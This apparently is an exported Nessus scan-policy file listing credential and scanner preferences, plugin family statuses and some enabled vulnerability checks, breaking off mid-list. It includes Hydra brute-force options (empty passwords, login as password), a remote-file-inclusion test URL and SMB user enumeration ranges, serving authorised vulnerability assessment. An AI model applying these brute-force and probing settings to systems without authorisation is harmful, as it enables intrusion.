amap (NASL wrapper)[entry]:Read timeout
Read timeout
entry
-
Apple Profile Manager API Settings
60032
Apple Profile Manager API Settings[entry]:Apple Profile Manager server :
Apple Profile Manager server :
entry
-
Apple Profile Manager API Settings
60032
Apple Profile Manager API Settings[entry]:Apple Profile Manager port :
Apple Profile Manager port :
entry
443
-
Apple Profile Manager API Settings
60032
Apple Profile Manager API Settings[entry]:Apple Profile Manager username :
Apple Profile Manager username :
entry
-
Apple Profile Manager API Settings
60032
Apple Profile Manager API Settings[password]:Apple Profile Manager password :
Apple Profile Manager password :
password
-
Apple Profile Manager API Settings
60032
Apple Profile Manager API Settings[checkbox]:SSL :
SSL :
checkbox
yes
-
Apple Profile Manager API Settings
60032
Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate :
Verify SSL Certificate :
checkbox
no
-
Apple Profile Manager API Settings
60032
Apple Profile Manager API Settings[checkbox]:Force Device Updates :
Force Device Updates :
checkbox
yes
-
Apple Profile Manager API Settings
60032
Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) :
Device Update Timeout (Minutes) :
entry
5
-
Cleartext protocols settings
21744
Cleartext protocols settings[entry]:User name :
User name :
entry
-
Cleartext protocols settings
21744
Cleartext protocols settings[password]:Password (unsafe!) :
Password (unsafe!) :
password
-
Cleartext protocols settings
21744
Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet
Try to perform patch level checks over telnet
checkbox
no
no
-
Cleartext protocols settings
21744
Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh
Try to perform patch level checks over rsh
checkbox
no
no
-
Cleartext protocols settings
21744
Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec
Try to perform patch level checks over rexec
checkbox
no
no
-
Database settings
33815
Database settings[entry]:Login :
Login :
entry
-
Database settings
33815
Database settings[password]:Password :
Password :
password
-
Database settings
33815
Database settings[radio]:DB Type :
DB Type :
radio
Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL
Oracle
-
Database settings
33815
Database settings[entry]:Database SID :
Database SID :
entry
-
Database settings
33815
Database settings[entry]:Database port to use :
Database port to use :
entry
-
Database settings
33815
Database settings[radio]:Oracle auth type:
Oracle auth type:
radio
NORMAL;SYSOPER;SYSDBA
NORMAL
-
Database settings
33815
Database settings[radio]:SQL Server auth type:
SQL Server auth type:
radio
Windows;SQL
Windows
-
Do not scan fragile devices
22481
Do not scan fragile devices[checkbox]:Scan Network Printers
Scan Network Printers
checkbox
no
no
-
Do not scan fragile devices
22481
Do not scan fragile devices[checkbox]:Scan Novell Netware hosts
Scan Novell Netware hosts
checkbox
no
no
-
Service Detection
22964
Service Detection[radio]:Test SSL based services
Test SSL based services
radio
Known SSL ports;All;None
Known SSL ports;All;None
-
Global variable settings
12288
Global variable settings[checkbox]:Probe services on every port
Probe services on every port
checkbox
yes
yes
-
Global variable settings
12288
Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy
Do not log in with user accounts not specified in the policy
checkbox
no
no
-
Global variable settings
12288
Global variable settings[checkbox]:Enable CGI scanning
Enable CGI scanning
checkbox
no
no
-
Global variable settings
12288
Global variable settings[radio]:Network type
Network type
radio
Mixed (use RFC 1918);Private LAN;Public WAN (Internet)
Mixed (use RFC 1918);Private LAN;Public WAN (Internet)
-
Global variable settings
12288
Global variable settings[checkbox]:Enable experimental scripts
Enable experimental scripts
checkbox
no
no
-
Global variable settings
12288
Global variable settings[checkbox]:Thorough tests (slow)
Thorough tests (slow)
checkbox
no
no
-
Global variable settings
12288
Global variable settings[radio]:Report verbosity
Report verbosity
radio
Normal;Quiet;Verbose
Normal;Quiet;Verbose
-
Global variable settings
12288
Global variable settings[radio]:Report paranoia
Report paranoia
radio
Normal;Avoid false alarms;Paranoid (more false alarms)
Normal;Avoid false alarms;Paranoid (more false alarms)
-
Global variable settings
12288
Global variable settings[entry]:HTTP User-Agent
HTTP User-Agent
entry
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
-
Global variable settings
12288
Global variable settings[file]:SSL certificate to use :
SSL certificate to use :
file
-
Global variable settings
12288
Global variable settings[file]:SSL CA to trust :
SSL CA to trust :
file
-
Global variable settings
12288
Global variable settings[file]:SSL key to use :
SSL key to use :
file
-
Global variable settings
12288
Global variable settings[password]:SSL password for SSL key :
SSL password for SSL key :
password
-
HTTP cookies import
42893
HTTP cookies import[file]:Cookies file :
Cookies file :
file
-
HTTP login page
11149
HTTP login page[entry]:Login page :
Login page :
entry
/
/
-
HTTP login page
11149
HTTP login page[entry]:Login form :
Login form :
entry
-
HTTP login page
11149
HTTP login page[entry]:Login form fields :
Login form fields :
entry
user=%USER%&pass=%PASS%
user=%USER%&pass=%PASS%
-
HTTP login page
11149
HTTP login page[radio]:Login form method :
Login form method :
radio
POST;GET
POST;GET
-
HTTP login page
11149
HTTP login page[checkbox]:Automated login page search
Automated login page search
checkbox
no
no
-
HTTP login page
11149
HTTP login page[entry]:Re-authenticate delay (seconds) :
Re-authenticate delay (seconds) :
entry
-
HTTP login page
11149
HTTP login page[entry]:Check authentication on page :
Check authentication on page :
entry
-
HTTP login page
11149
HTTP login page[entry]:Follow 30x redirections (# of levels) :
Follow 30x redirections (# of levels) :
entry
2
2
-
HTTP login page
11149
HTTP login page[entry]:Authenticated regex :
Authenticated regex :
entry
-
HTTP login page
11149
HTTP login page[checkbox]:Invert test (disconnected if regex matches)
Invert test (disconnected if regex matches)
checkbox
no
no
-
HTTP login page
11149
HTTP login page[checkbox]:Match regex on HTTP headers
Match regex on HTTP headers
checkbox
no
no
-
HTTP login page
11149
HTTP login page[checkbox]:Case insensitive regex
Case insensitive regex
checkbox
no
no
-
HTTP login page
11149
HTTP login page[checkbox]:Abort web application tests if login fails
Abort web application tests if login fails
checkbox
no
no
-
Hydra: HTTP
15873
Hydra: HTTP[entry]:Web page :
Web page :
entry
-
Hydra: Cisco enable
15870
Hydra: Cisco enable[entry]:Logon password :
Logon password :
entry
-
Hydra: LDAP
15877
Hydra: LDAP[entry]:DN :
DN :
entry
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[checkbox]:Always enable Hydra (slow)
Always enable Hydra (slow)
checkbox
no
no
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[file]:Logins file :
Logins file :
file
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[file]:Passwords file :
Passwords file :
file
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[entry]:Number of parallel tasks :
Number of parallel tasks :
entry
16
16
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[entry]:Timeout (in seconds) :
Timeout (in seconds) :
entry
30
30
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[checkbox]:Try empty passwords
Try empty passwords
checkbox
yes
yes
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[checkbox]:Try login as password
Try login as password
checkbox
yes
yes
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[checkbox]:Exit as soon as an account is found
Exit as soon as an account is found
checkbox
no
no
-
Hydra (NASL wrappers options)
15868
Hydra (NASL wrappers options)[checkbox]:Add accounts found by other plugins to login file
Add accounts found by other plugins to login file
checkbox
yes
yes
-
Hydra: PostgreSQL
18660
Hydra: PostgreSQL[entry]:Database name (optional) :
Database name (optional) :
entry
-
Hydra: SMB
15884
Hydra: SMB[radio]:Check local / domain accounts
Check local / domain accounts
radio
Local accounts; Domain Accounts; Either
Local accounts; Domain Accounts; Either
-
Hydra: SMB
15884
Hydra: SMB[checkbox]:Interpret passwords as NTLM hashes
Interpret passwords as NTLM hashes
checkbox
no
no
-
Hydra: SAP R3
15883
Hydra: SAP R3[entry]:Client ID (between 0 and 99) :
Client ID (between 0 and 99) :
entry
-
Hydra: HTTP proxy
15874
Hydra: HTTP proxy[entry]:Web site (optional) :
Web site (optional) :
entry
-
Patch Management: IBM Tivoli Endpoint Manager Server Settings
62558
Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server :
Web Reports Server :
entry
-
Patch Management: IBM Tivoli Endpoint Manager Server Settings
62558
Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port :
Web Reports Port :
entry
-
Patch Management: IBM Tivoli Endpoint Manager Server Settings
62558
Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username :
Web Reports Username :
entry
-
Patch Management: IBM Tivoli Endpoint Manager Server Settings
62558
Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password :
Web Reports Password :
password
-
Patch Management: IBM Tivoli Endpoint Manager Server Settings
62558
Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL :
SSL :
checkbox
no
-
IBM iSeries Credentials
57861
IBM iSeries Credentials[entry]:Login :
Login :
entry
-
IBM iSeries Credentials
57861
IBM iSeries Credentials[password]:Password :
Password :
password
-
Kerberos configuration
17351
Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) :
Kerberos Key Distribution Center (KDC) :
entry
-
Kerberos configuration
17351
Kerberos configuration[entry]:Kerberos KDC Port :
Kerberos KDC Port :
entry
88
88
-
Kerberos configuration
17351
Kerberos configuration[radio]:Kerberos KDC Transport :
Kerberos KDC Transport :
radio
udp;tcp
udp;tcp
-
Kerberos configuration
17351
Kerberos configuration[entry]:Kerberos Realm (SSH only) :
Kerberos Realm (SSH only) :
entry
-
LDAP 'Domain Admins' Group Membership Enumeration
58038
LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user :
LDAP user :
entry
-
LDAP 'Domain Admins' Group Membership Enumeration
58038
LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password :
LDAP password :
password
-
LDAP 'Domain Admins' Group Membership Enumeration
58038
LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results :
Max results :
entry
1000
-
Login configurations
10870
Login configurations[entry]:HTTP account :
HTTP account :
entry
-
Login configurations
10870
Login configurations[password]:HTTP password (sent in clear) :
HTTP password (sent in clear) :
password
-
Login configurations
10870
Login configurations[entry]:NNTP account :
NNTP account :
entry
-
Login configurations
10870
Login configurations[password]:NNTP password (sent in clear) :
NNTP password (sent in clear) :
password
-
Login configurations
10870
Login configurations[entry]:FTP account :
FTP account :
entry
anonymous
anonymous
-
Login configurations
10870
Login configurations[password]:FTP password (sent in clear) :
FTP password (sent in clear) :
password
nessus@nessus.org
-
Login configurations
10870
Login configurations[entry]:FTP writeable directory :
FTP writeable directory :
entry
/incoming
/incoming
-
Login configurations
10870
Login configurations[entry]:POP2 account :
POP2 account :
entry
-
Login configurations
10870
Login configurations[password]:POP2 password (sent in clear) :
POP2 password (sent in clear) :
password
-
Login configurations
10870
Login configurations[entry]:POP3 account :
POP3 account :
entry
-
Login configurations
10870
Login configurations[password]:POP3 password (sent in clear) :
POP3 password (sent in clear) :
password
-
Login configurations
10870
Login configurations[entry]:IMAP account :
IMAP account :
entry
-
Login configurations
10870
Login configurations[password]:IMAP password (sent in clear) :
IMAP password (sent in clear) :
password
-
Login configurations
10870
Login configurations[entry]:SMB account :
SMB account :
entry
-
Login configurations
10870
Login configurations[password]:SMB password :
SMB password :
password
-
Login configurations
10870
Login configurations[entry]:SMB domain (optional) :
SMB domain (optional) :
entry
-
Login configurations
10870
Login configurations[radio]:SMB password type :
SMB password type :
radio
Password;LM Hash;NTLM Hash
Password
-
Login configurations
10870
Login configurations[entry]:Additional SMB account (1) :
Additional SMB account (1) :
entry
-
Login configurations
10870
Login configurations[password]:Additional SMB password (1) :
Additional SMB password (1) :
password
-
Login configurations
10870
Login configurations[entry]:Additional SMB domain (optional) (1) :
Additional SMB domain (optional) (1) :
entry
-
Login configurations
10870
Login configurations[entry]:Additional SMB account (2) :
Additional SMB account (2) :
entry
-
Login configurations
10870
Login configurations[password]:Additional SMB password (2) :
Additional SMB password (2) :
password
-
Login configurations
10870
Login configurations[entry]:Additional SMB domain (optional) (2) :
Additional SMB domain (optional) (2) :
entry
-
Login configurations
10870
Login configurations[entry]:Additional SMB account (3) :
Additional SMB account (3) :
entry
-
Login configurations
10870
Login configurations[password]:Additional SMB password (3) :
Additional SMB password (3) :
password
-
Login configurations
10870
Login configurations[entry]:Additional SMB domain (optional) (3) :
Additional SMB domain (optional) (3) :
entry
-
Login configurations
10870
Login configurations[checkbox]:Never send SMB credentials in clear text
Never send SMB credentials in clear text
checkbox
yes
yes
-
Login configurations
10870
Login configurations[checkbox]:Only use NTLMv2
Only use NTLMv2
checkbox
no
no
-
Nessus SYN scanner
11219
Nessus SYN scanner[radio]:Firewall detection :
Firewall detection :
radio
Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive)
Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive)
-
Nessus TCP scanner
10335
Nessus TCP scanner[radio]:Firewall detection :
Firewall detection :
radio
Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive)
Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive)
-
News Server (NNTP) Information Disclosure
11033
News Server (NNTP) Information Disclosure[entry]:From address :
From address :
entry
Nobody <nobody@example.com>
Nobody <nobody@example.com>
-
News Server (NNTP) Information Disclosure
11033
News Server (NNTP) Information Disclosure[entry]:Test group name regex :
Test group name regex :
entry
f[a-z]\.tests?
f[a-z]\.tests?
-
News Server (NNTP) Information Disclosure
11033
News Server (NNTP) Information Disclosure[entry]:Max crosspost :
Max crosspost :
entry
7
7
-
News Server (NNTP) Information Disclosure
11033
News Server (NNTP) Information Disclosure[checkbox]:Local distribution
Local distribution
checkbox
yes
yes
-
News Server (NNTP) Information Disclosure
11033
News Server (NNTP) Information Disclosure[checkbox]:No archive
No archive
checkbox
no
no
-
Oracle Settings
22076
Oracle Settings[entry]:Oracle SID :
Oracle SID :
entry
-
Oracle Settings
22076
Oracle Settings[checkbox]:Test default accounts (slow)
Test default accounts (slow)
checkbox
no
no
-
Ping the remote host
10180
Ping the remote host[entry]:TCP ping destination port(s) :
TCP ping destination port(s) :
entry
built-in
built-in
-
Ping the remote host
10180
Ping the remote host[checkbox]:Do an ARP ping
Do an ARP ping
checkbox
yes
yes
-
Ping the remote host
10180
Ping the remote host[checkbox]:Do a TCP ping
Do a TCP ping
checkbox
yes
yes
-
Ping the remote host
10180
Ping the remote host[checkbox]:Do an ICMP ping
Do an ICMP ping
checkbox
yes
yes
-
Ping the remote host
10180
Ping the remote host[entry]:Number of retries (ICMP) :
Number of retries (ICMP) :
entry
2
2
-
Ping the remote host
10180
Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...)
Do an applicative UDP ping (DNS,RPC...)
checkbox
no
no
-
Ping the remote host
10180
Ping the remote host[checkbox]:Make the dead hosts appear in the report
Make the dead hosts appear in the report
checkbox
no
no
-
Ping the remote host
10180
Ping the remote host[checkbox]:Log live hosts in the report
Log live hosts in the report
checkbox
no
no
-
Ping the remote host
10180
Ping the remote host[checkbox]:Test the local Nessus host
Test the local Nessus host
checkbox
yes
yes
-
Ping the remote host
10180
Ping the remote host[checkbox]:Fast network discovery
Fast network discovery
checkbox
no
no
-
Port scanners settings
33812
Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators
Check open TCP ports found by local port enumerators
checkbox
no
no
-
Port scanners settings
33812
Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed
Only run network port scanners if local port enumeration failed
checkbox
yes
yes
-
Patch Management: Red Hat Satellite Server Settings
57063
Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] :
Red Hat Satellite server(s) [separated w/ semicolons] :
entry
-
Patch Management: Red Hat Satellite Server Settings
57063
Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) :
Red Hat Satellite port(s) :
entry
443
-
Patch Management: Red Hat Satellite Server Settings
57063
Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) :
Red Hat Satellite username(s) :
entry
-
Patch Management: Red Hat Satellite Server Settings
57063
Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) :
Red Hat Satellite password(s) :
password
-
Patch Management: SCCM Server Settings
57029
Patch Management: SCCM Server Settings[entry]:SCCM Server :
SCCM Server :
entry
-
Patch Management: SCCM Server Settings
57029
Patch Management: SCCM Server Settings[entry]:SCCM Domain :
SCCM Domain :
entry
-
Patch Management: SCCM Server Settings
57029
Patch Management: SCCM Server Settings[entry]:SCCM Username :
SCCM Username :
entry
-
Patch Management: SCCM Server Settings
57029
Patch Management: SCCM Server Settings[password]:SCCM Password :
SCCM Password :
password
-
Patch Management: VMware Go Server Settings
57026
Patch Management: VMware Go Server Settings[entry]:Host :
Host :
entry
services.shavlik.com
-
Patch Management: VMware Go Server Settings
57026
Patch Management: VMware Go Server Settings[entry]:Port :
Port :
entry
443
-
Patch Management: VMware Go Server Settings
57026
Patch Management: VMware Go Server Settings[entry]:Username :
Username :
entry
-
Patch Management: VMware Go Server Settings
57026
Patch Management: VMware Go Server Settings[password]:Password :
Password :
password
-
Patch Management: VMware Go Server Settings
57026
Patch Management: VMware Go Server Settings[entry]:Domain :
Domain :
entry
-
Patch Management: VMware Go Server Settings
57026
Patch Management: VMware Go Server Settings[entry]:API path :
API path :
entry
/api/authenticationbroker/account/httpIssue.svc/
-
Patch Management: VMware Go Server Settings
57026
Patch Management: VMware Go Server Settings[entry]:Authentication realm :
Authentication realm :
entry
https://services.shavlik.com/api/dataservices/v1r1/default.aspx
-
Patch Management: VMware Go Server Settings
57026
Patch Management: VMware Go Server Settings[entry]:Service path :
Service path :
entry
/api/dataservices/v1r1/OData.svc/
-
SMB Scope
10917
SMB Scope[checkbox]:Request information about the domain
Request information about the domain
checkbox
yes
yes
-
SMB Use Host SID to Enumerate Local Users
10860
SMB Use Host SID to Enumerate Local Users[entry]:Start UID :
Start UID :
entry
1000
1000
-
SMB Use Host SID to Enumerate Local Users
10860
SMB Use Host SID to Enumerate Local Users[entry]:End UID :
End UID :
entry
1200
1200
-
SMB Use Domain SID to Enumerate Users
10399
SMB Use Domain SID to Enumerate Users[entry]:Start UID :
Start UID :
entry
1000
1000
-
SMB Use Domain SID to Enumerate Users
10399
SMB Use Domain SID to Enumerate Users[entry]:End UID :
End UID :
entry
1200
1200
-
SMTP settings
11038
SMTP settings[entry]:Third party domain :
Third party domain :
entry
example.com
example.com
-
SMTP settings
11038
SMTP settings[entry]:From address :
From address :
entry
nobody@example.com
nobody@example.com
-
SMTP settings
11038
SMTP settings[entry]:To address :
To address :
entry
postmaster@[AUTO_REPLACED_IP]
postmaster@[AUTO_REPLACED_IP]
-
SNMP settings
19762
SNMP settings[entry]:Community name :
Community name :
entry
public
public
-
SNMP settings
19762
SNMP settings[entry]:Community name (1) :
Community name (1) :
entry
-
SNMP settings
19762
SNMP settings[entry]:Community name (2) :
Community name (2) :
entry
-
SNMP settings
19762
SNMP settings[entry]:Community name (3) :
Community name (3) :
entry
-
SNMP settings
19762
SNMP settings[entry]:UDP port :
UDP port :
entry
161
161
-
SNMP settings
19762
SNMP settings[entry]:SNMPv3 user name :
SNMPv3 user name :
entry
-
SNMP settings
19762
SNMP settings[password]:SNMPv3 authentication password :
SNMPv3 authentication password :
password
-
SNMP settings
19762
SNMP settings[radio]:SNMPv3 authentication algorithm :
SNMPv3 authentication algorithm :
radio
MD5;SHA1
MD5;SHA1
-
SNMP settings
19762
SNMP settings[password]:SNMPv3 privacy password :
SNMPv3 privacy password :
password
-
SNMP settings
19762
SNMP settings[radio]:SNMPv3 privacy algorithm :
SNMPv3 privacy algorithm :
radio
DES
DES
-
SSH settings
14273
SSH settings[entry]:SSH user name :
SSH user name :
entry
root
root
-
SSH settings
14273
SSH settings[password]:SSH password (unsafe!) :
SSH password (unsafe!) :
password
-
SSH settings
14273
SSH settings[file]:SSH public key to use :
SSH public key to use :
file
-
SSH settings
14273
SSH settings[file]:SSH private key to use :
SSH private key to use :
file
-
SSH settings
14273
SSH settings[password]:Passphrase for SSH key :
Passphrase for SSH key :
password
-
SSH settings
14273
SSH settings[radio]:Elevate privileges with :
Elevate privileges with :
radio
Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable'
Nothing;sudo;su;su+sudo;Cisco 'enable'
-
SSH settings
14273
SSH settings[entry]:su login :
su login :
entry
-
SSH settings
14273
SSH settings[entry]:Escalation account :
Escalation account :
entry
root
-
SSH settings
14273
SSH settings[password]:Escalation password :
Escalation password :
password
-
SSH settings
14273
SSH settings[file]:SSH known_hosts file :
SSH known_hosts file :
file
-
SSH settings
14273
SSH settings[entry]:Preferred SSH port :
Preferred SSH port :
entry
22
22
-
SSH settings
14273
SSH settings[entry]:Client version :
Client version :
entry
OpenSSH_5.0
OpenSSH_5.0
-
SSH settings
14273
SSH settings[entry]:Additional SSH user name (1) :
Additional SSH user name (1) :
entry
-
SSH settings
14273
SSH settings[password]:Additional SSH password (1) :
Additional SSH password (1) :
password
-
SSH settings
14273
SSH settings[entry]:Additional SSH user name (2) :
Additional SSH user name (2) :
entry
-
SSH settings
14273
SSH settings[password]:Additional SSH password (2) :
Additional SSH password (2) :
password
-
SSH settings
14273
SSH settings[entry]:Additional SSH user name (3) :
Additional SSH user name (3) :
entry
-
SSH settings
14273
SSH settings[password]:Additional SSH password (3) :
Additional SSH password (3) :
password
-
SSH settings
14273
SSH settings[entry]:Additional SSH user name (4) :
Additional SSH user name (4) :
entry
-
SSH settings
14273
SSH settings[password]:Additional SSH password (4) :
Additional SSH password (4) :
password
-
SSH settings
14273
SSH settings[entry]:Additional SSH user name (5) :
Additional SSH user name (5) :
entry
-
SSH settings
14273
SSH settings[password]:Additional SSH password (5) :
Additional SSH password (5) :
password
-
SMB Registry : Start the Registry Service during the scan
35703
SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan
Start the registry service during the scan
checkbox
no
no
-
SMB Registry : Start the Registry Service during the scan
35703
SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan
Enable administrative shares during the scan
checkbox
no
no
-
VMware SOAP API Settings
57395
VMware SOAP API Settings[entry]:VMware user name :
VMware user name :
entry
-
VMware SOAP API Settings
57395
VMware SOAP API Settings[password]:VMware password :
VMware password :
password
-
VMware SOAP API Settings
57395
VMware SOAP API Settings[checkbox]:Ignore SSL Certificate :
Ignore SSL Certificate :
checkbox
no
-
VMware vCenter SOAP API Settings
63060
VMware vCenter SOAP API Settings[entry]:VMware vCenter host :
VMware vCenter host :
entry
-
VMware vCenter SOAP API Settings
63060
VMware vCenter SOAP API Settings[entry]:VMware vCenter port :
VMware vCenter port :
entry
443
-
VMware vCenter SOAP API Settings
63060
VMware vCenter SOAP API Settings[entry]:VMware vCenter user name :
VMware vCenter user name :
entry
-
VMware vCenter SOAP API Settings
63060
VMware vCenter SOAP API Settings[password]:VMware vCenter password :
VMware vCenter password :
password
-
VMware vCenter SOAP API Settings
63060
VMware vCenter SOAP API Settings[checkbox]:SSL :
SSL :
checkbox
yes
-
VMware vCenter SOAP API Settings
63060
VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate :
Verify SSL Certificate :
checkbox
no
-
Web Application Tests Settings
39471
Web Application Tests Settings[checkbox]:Enable web applications tests
Enable web applications tests
checkbox
no
no
-
Web Application Tests Settings
39471
Web Application Tests Settings[entry]:Maximum run time (min) :
Maximum run time (min) :
entry
60
60
-
Web Application Tests Settings
39471
Web Application Tests Settings[checkbox]:Try all HTTP methods
Try all HTTP methods
checkbox
no
no
-
Web Application Tests Settings
39471
Web Application Tests Settings[radio]:Combinations of arguments values
Combinations of arguments values
radio
one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow)
one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow)
-
Web Application Tests Settings
39471
Web Application Tests Settings[checkbox]:HTTP Parameter Pollution
HTTP Parameter Pollution
checkbox
no
no
-
Web Application Tests Settings
39471
Web Application Tests Settings[radio]:Stop at first flaw
Stop at first flaw
radio
per CGI;per port (quicker);per parameter (slow);look for all flaws (slower)
per CGI;per port (quicker);per parameter (slow);look for all flaws (slower)
-
Web Application Tests Settings
39471
Web Application Tests Settings[checkbox]:Test embedded web servers
Test embedded web servers
checkbox
no
no
-
Web Application Tests Settings
39471
Web Application Tests Settings[entry]:URL for Remote File Inclusion :
URL for Remote File Inclusion :
entry
http://rfi.nessus.org/rfi.txt
http://rfi.nessus.org/rfi.txt
-
Web mirroring
10662
Web mirroring[entry]:Number of pages to mirror :
Number of pages to mirror :
entry
1000
1000
-
Web mirroring
10662
Web mirroring[entry]:Maximum depth :
Maximum depth :
entry
6
6
-
Web mirroring
10662
Web mirroring[entry]:Start page :
Start page :
entry
/
/
-
Web mirroring
10662
Web mirroring[entry]:Excluded items regex :
Excluded items regex :
entry
/server_privileges\.php|logout
/server_privileges\.php|logout
-
Web mirroring
10662
Web mirroring[checkbox]:Follow dynamic pages :
Follow dynamic pages :
checkbox
no
no
-
Wake-on-LAN
52616
Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN:
List of MAC addresses for Wake-on-LAN:
file
-
Wake-on-LAN
52616
Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot:
Time to wait (in minutes) for the systems to boot:
entry
5
5
-
Patch Management: WSUS Server Settings
57031
Patch Management: WSUS Server Settings[entry]:WSUS Server :
WSUS Server :
entry
-
Patch Management: WSUS Server Settings
57031
Patch Management: WSUS Server Settings[entry]:WSUS Port :
WSUS Port :
entry
-
Patch Management: WSUS Server Settings
57031
Patch Management: WSUS Server Settings[entry]:WSUS Username :
WSUS Username :
entry
-
Patch Management: WSUS Server Settings
57031
Patch Management: WSUS Server Settings[password]:WSUS Password :
WSUS Password :
password
-
Patch Management: WSUS Server Settings
57031
Patch Management: WSUS Server Settings[checkbox]:SSL :
SSL :
checkbox
no
MacOS X Local Security Checks
mixed
DNS
mixed
Gain a shell remotely
mixed
Solaris Local Security Checks
mixed
Port scanners
mixed
Web Servers
mixed
SMTP problems
mixed
Service detection
mixed
Brute force attacks
disabled
CGI abuses : XSS
disabled
Debian Local Security Checks
mixed
Mandriva Local Security Checks
mixed
Databases
mixed
Default Unix Accounts
mixed
Denial of Service
mixed
Settings
disabled
HP-UX Local Security Checks
mixed
Backdoors
mixed
VMware ESX Local Security Checks
mixed
SCADA
mixed
General
disabled
Red Hat Local Security Checks
mixed
FreeBSD Local Security Checks
mixed
CGI abuses
mixed
Windows : User management
disabled
Netware
disabled
Peer-To-Peer File Sharing
mixed
Slackware Local Security Checks
mixed
SNMP
disabled
Gentoo Local Security Checks
mixed
Fedora Local Security Checks
mixed
Ubuntu Local Security Checks
mixed
Misc.
mixed
FTP
mixed
Firewalls
mixed
Windows : Microsoft Bulletins
mixed
Junos Local Security Checks
disabled
Mobile Devices
mixed
Policy Compliance
disabled
Windows
mixed
SuSE Local Security Checks
mixed
RPC
mixed
CentOS Local Security Checks
mixed
Scientific Linux Local Security Checks
mixed
CISCO
disabled
AIX Local Security Checks
mixed
60782
Scientific Linux Security Update : java (jdk 1.6.0) on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
50894
SuSE 11 Security Update : (SAT Patch Number 2544)
SuSE Local Security Checks
enabled
22162
CentOS : RHSA-2006-0608
CentOS Local Security Checks
enabled
12257
Mac OS X < 10.3.4 Multiple Vulnerabilities
MacOS X Local Security Checks
enabled
31731
CA BrightStor ARCserve Backup ListCtrl ActiveX (ListCtrl.ocx) AddColumn() Method Overflow
Windows
enabled
14606
AIX 5.2 : IY48657
AIX Local Security Checks
enabled
11254
Unpassworded 'friday' Account
Default Unix Accounts
enabled
27907
USN-328-1 : Apache vulnerability
Ubuntu Local Security Checks
enabled
25918
GLSA-200708-12 : Wireshark: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
62653
Scientific Linux Security Update : java-1.7.0-openjdk on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
47690
SuSE 11.0 Security Update: acroread (2010-07-08)
SuSE Local Security Checks
enabled
27553
GLSA-200710-21 : TikiWiki: Arbitrary command execution
Gentoo Local Security Checks
enabled
60804
Scientific Linux Security Update : samba and samba3x on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
59088
PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution
CGI abuses
enabled
51780
CentOS : RHSA-2010-0970
CentOS Local Security Checks
enabled
57483
Adobe Acrobat < 10.1.2 / 9.5 Multiple Vulnerabilities (APSB12-01)
Windows
enabled
10297
Web Server Directory Traversal Arbitrary File Access
Web Servers
enabled
29699
QuickTime < 7.3.1 Multiple Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
59774
Debian DSA-2496-1 : mysql-5.1 - several vulnerabilities
Debian Local Security Checks
enabled
34211
Mac OS X < 10.5.5 Multiple Vulnerabilities
MacOS X Local Security Checks
enabled
51573
Oracle Database, January 2011 Critical Patch Update
Databases
enabled
61328
Scientific Linux Security Update : java-1.6.0-openjdk on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
38858
Winamp < 5.552 Modern Skins Support Module (gen_ff.dll) MAKI File Handling Overflow
Windows
enabled
57760
RHEL 4 / 5 / 6 : firefox (RHSA-2012-0079)
Red Hat Local Security Checks
enabled
62737
WANem result.php pc Parameter Remote Command Execution
CGI abuses
enabled
41362
SuSE 11 Security Update : Acrobat Reader (SAT Patch Number 690)
SuSE Local Security Checks
enabled
61129
Scientific Linux Security Update : rsyslog on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
57446
